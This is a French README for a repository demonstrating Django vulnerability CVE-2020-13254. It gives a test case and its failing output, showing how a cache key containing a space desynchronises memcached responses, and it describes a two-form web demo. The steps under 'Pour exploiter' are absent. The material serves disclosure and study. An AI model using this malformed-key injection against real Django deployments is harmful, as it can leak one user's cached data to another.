
Démonstration de vulnérabilité pour Django CVE-2020-13254
Ce référentiel démontre l'exploitation de CVE-2020-13254 de deux manières – via une interface web et via un cas de test en échec.
Pour plus de détails, visitez :
https://danpalmer.me/2020-06-07-django-memcache-vulnerability/
L'exemple fournit une interface web avec 2 formulaires, l'un qui définit des valeurs dans le cache et l'autre qui les récupère. Ceux-ci sont directement traduits en appels au backend de cache de Django. Étant donné que la base de code n'implémente aucun système de session ou d'authentification, des utilisations multiples dans le même onglet de navigateur sont impossibles à distinguer d'utilisateurs multiples utilisant plusieurs machines.
Pour exploiter :
Ce processus peut être exprimé sous forme de cas de test comme suit :
from django.core.cache import cache
from django.test import TestCase
class CacheTests(TestCase):
def test_cache(self):
cache.set('k1', 'v1')
cache.set('k2', 'v2')
try:
cache.set('a b', 'v3')
except Exception:
pass
self.assertEqual(
[
cache.get(x) for x in
['k2', 'k1', 'k2', 'k1', 'k2', 'k1']
],
['v2', 'v1', 'v2', 'v1', 'v2', 'v1'],
)
Cela échoue avec l'erreur suivante :
=============================================================
FAIL: test_cache (demo.tests.CacheTests)
-------------------------------------------------------------
Traceback (most recent call last):
File "tests.py", line 30, in test_cache
'v1',
AssertionError: Lists differ
First differing element 0:
None
'v2'
- [None, 'v2', 'v1', 'v2', 'v1', 'v2']
? ------
+ ['v2', 'v1', 'v2', 'v1', 'v2', 'v1']
? ++++++
-------------------------------------------------------------
Après le set, les résultats du cache renvoyés sont désynchronisés par rapport aux requêtes effectuées.